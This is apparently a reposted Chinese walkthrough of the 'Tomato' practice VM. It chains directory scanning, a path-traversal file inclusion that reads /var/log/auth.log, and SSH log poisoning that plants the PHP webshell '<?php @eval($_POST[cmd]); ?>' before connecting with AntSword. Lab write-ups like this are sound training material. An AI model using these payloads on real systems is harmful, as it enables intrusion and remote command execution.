Tomato靶场渗透测试

news2024/12/28 22:54:09

1.扫描靶机地址

可以使用nmap进行扫描 由于我这已经知道靶机地址 这里就不扫描了

2.打开网站

3.进行目录扫描

dirb    http://172.16.1.113

发现有一个antibot_image目录

4.访问这个目录

可以看到有一个info.php

5.查看页面源代码

可以发现可以进行get传参

6.尝试查看日志文件

http://172.16.1.113/antibot_image/antibots/info.php?image=../../../../../../../var/log/auth.log

可以看到页面上有日志显示 说明存在文件包含漏洞

7.尝试使用ssh进行连接

ssh aaaaaaaaaa@172.16.1.113 -p 2211 

可以看到日志有记录显示

8.尝试写入一句话木马

ssh '<?php @eval($_POST[cmd]); ?>'@172.16.1.113 -p 2211

9.使用蚁剑进行连接

可以连接成功 成功获取webshell

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2107631.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

脉脉高聘:大模型算法岗平均月薪近7万元,位居高薪榜第一

9月5日&#xff0c;脉脉高聘人才智库数据显示&#xff0c;大模型领域整体供需比1.76&#xff0c;整体供大于求。同时&#xff0c;高技术岗位人才稀缺&#xff0c;云计算人才供需比仅为0.33&#xff0c;相当于3个岗位争夺1个人才。大模型算法岗位平均月薪最高&#xff0c;超过6.…

【STM32+HAL库】---- 驱动MAX30102心率血氧传感器

硬件开发板&#xff1a;STM32F407VET6 软件平台&#xff1a;cubemaxkeilVScode1 MAX30102心率血氧传感器工作原理 MAX30102传感器是一种集成了红外光源、光电检测器和信号处理电路的高度集成传感器&#xff0c;主要用于心率和血氧饱和度的测量。以下是MAX30102传感器的主要特点…

草料二维码功能上新!可以跨分区移动或复制内容了!

支持将 分区 下的内容移动或复制到其他分区。适用于将原初始分区下的内容按业务划分&#xff0c;移动到其他分区。或者当物品流转或业务变更时&#xff0c;可以及时将码及数据移动到对应分区&#xff0c;移动后&#xff0c;二维码图案不会发生变化。 目前仅表单、活码、批量模…

在修改文件 /ect/hosts时无法保存 can‘t open file for writing

输入&#xff1a;q! 即可 情境&#xff1a; 在Master节点中执行如下命令打开并修改Master节点中的“/etc/hosts”文件&#xff1a; sudo vim /etc/hosts 可以在hosts文件中增加如下两条IP和主机名映射关系&#xff1a; 192.168.1.121 Master 192.168.1.122 Slave1

解决App推广痛点:一键获取下载数据的秘诀

在App推广的过程中&#xff0c;获取准确的下载数据一直是一个令人头疼的问题。你知道吗&#xff1f;无法精确追踪用户来源和下载量&#xff0c;就像是在黑暗中摸索&#xff0c;让推广效果大打折扣。今天&#xff0c;我们就来揭秘如何轻松获取App下载数据&#xff0c;优化你的推…

BaseThreadStart代码分析

BaseThreadStart代码分析 第一部分&#xff1a; ​​​​​​​ 在调用CreateThead创建线程的时候&#xff0c;操作系统会为新线程创建线程内核对想象&#xff0c; 线程内核对象包含了线程的上下文&#xff08;是一个C O N T E X T结构&#xff09;以及一些其他属性和统计信息&…

计算机毕业设计 | SSM停车场管理系统(附源码)

1&#xff0c; 概述 1.1 课题背景 随着社会的快速发展&#xff0c;计算机的影响是全面且深入的。人们的生活水平不断提高&#xff0c;日常生活中用户对停车场管理系统方面的要求也在不断提高&#xff0c;需要的人数更是不断增加&#xff0c;使得停车场管理系统的开发成为必需…

【HarmonyOS】安装包报错,code:9568282 error: install releaseType target not same.

【HarmonyOS】安装包报错&#xff0c;code:9568282 error: install releaseType target not same. 报错信息 Install Failed: error: failed to install bundle. code:9568282 error: install releaseType target not same. You can also uninstall and reinstall the module…

使用Python读取Excel数据

目录 使用Python读取Excel数据 安装必要的库 读取Excel文件 基本步骤 代码案例 解释 其他常用操作 选择特定列 筛选数据 数据清洗 总结 使用Python读取Excel数据 在日常的数据处理工作中&#xff0c;Excel文件是非常常见的一种数据格式。Python提供了多种库来读取和…

SprinBoot+Vue新生报到微信小程序的设计与实现

目录 1 项目介绍2 项目截图3 核心代码3.1 Controller3.2 Service3.3 Dao3.4 application.yml3.5 SpringbootApplication3.5 Vue3.6 uniapp代码 4 数据库表设计5 文档参考6 计算机毕设选题推荐7 源码获取 1 项目介绍 博主个人介绍&#xff1a;CSDN认证博客专家&#xff0c;CSDN平…

java重点学习-mybatis

4.1 MyBatis执行流程 ① 读取MyBatis配置文件:mybatis-config.xml加载运行环境和映射文件② 构造会话工厂SqlSessionFactory③ 会话工厂创建SqlSession对象(包含了执行SQL语句的所有方法)④ 操作数据库的接口&#xff0c;Executor执行器&#xff0c;同时负责查询缓存的维护⑤E…

人、货、场巨变,5G人工智能时代新的创业机会在哪?

随着5G元年的开启&#xff0c;人工智能的潜力被进一步激发&#xff0c;"人工智能"广泛应用于教育、无人驾驶、金融、银行、医疗、工业等领域&#xff0c;成为中国新的经济增长引擎&#xff0c;促进中国经济火爆增长。不仅促进了中国消费者的购买力&#xff0c;更萌发…

亚马逊卖家测评为什么要自己养账号呢?不懂快进来看看

亚马逊上的卖家为啥要自己养账号呢&#xff1f;咱们来聊聊这个事儿。 亚马逊特别看重用户的体验&#xff0c;所以买家的评论和打分对店铺的排名影响很大。平台对评论的审核很严格&#xff0c;这些评论直接关系到商品在平台上的表现和销量。 在亚马逊上&#xff0c;买家的评分和…

汽车制造商设备运维案例

汽车产线有很多传动设备需要长期在线运行&#xff0c;会出现老化、疲劳、磨损等问题&#xff0c;为了避免意外停机造成损失&#xff0c;需要加装一些健康监测设备&#xff0c;监测设备运行状态。天津三石峰科技采用无线温振传感器汇聚网关方案&#xff0c;将现场设备数据数据上…

springboot项目实现分库

本文是根据仓库编码 和 仓库id进行按仓库进行分库处理,可以根据例子自行按照业务需要进行分库 1.核心是实现 Spring 的 AbstractRoutingDataSource 抽象类,重写 determineCurrentLookupKey 方法,实现动态数据源的目的 @Slf4j public class DynamicDataSource extends Abst…

佳明运动相机SD存储卡被格式化?教你有效恢复数据的方法

在日常使用佳明运动相机的过程中&#xff0c;‌我们可能会不小心将SD存储卡格式化&#xff0c;‌导致珍贵的照片和视频数据丢失。‌面对这种情况&#xff0c;‌很多用户都感到十分焦虑和无助。‌但幸运的是&#xff0c;‌通过一些有效的方法&#xff0c;‌我们仍然有可能恢复这…

如何在Centos7构建调试“Jmeter-InfluxDB-Grafana“?

一、数据源配置 1、在"Grafana"首页&#xff0c;添加数据源 2、点击添加 3、选择"InfluxDB" 4、填写主机 5、填写"Database&#xff1a;jmeter"和"HTTP Method&#xff1a;GET" 6、点击"Save & test" 7、查看 二、配置…

串口与Labview通讯的调试

在学习Labview和串口的通讯和调试的时候。首先必须先了解一些Labview的基础知识&#xff0c;然后就是了解串口&#xff0c;在调试的过程中&#xff0c;我们需要下位机来辅助我们的程序编写与调试&#xff0c;也就是我们平时使用的单片机&#xff0c;如果没有单片机也不要紧&…

不会抖音剪辑怎么办?这4款拿走不谢

不少人想做自媒体&#xff0c;但是就光视频剪辑这一点难住了不少人&#xff0c;其实视频剪辑并没有大家想的那么复杂&#xff0c;直接用一些简单的剪辑视频工具也可以处理。作为一个短视频剪辑新手&#xff0c;我最近尝试了几款流行的视频编辑软件&#xff0c;今天就来和大家分…

Docker(完整实验版)

目录 一 Docker 1.1 Docker简介 1.1.1 什么是docker&#xff1f; 1.1.2 docker在企业中的应用场景 1.1.3 docker与虚拟化的对比 1.1.4 docker的优势 1.2 部署docker 1.2.1 配置软件仓库 二 Docker的基本操作 2.1 Docker镜像管理 2.1.1 搜索镜像 2.1.2 拉取镜像 2…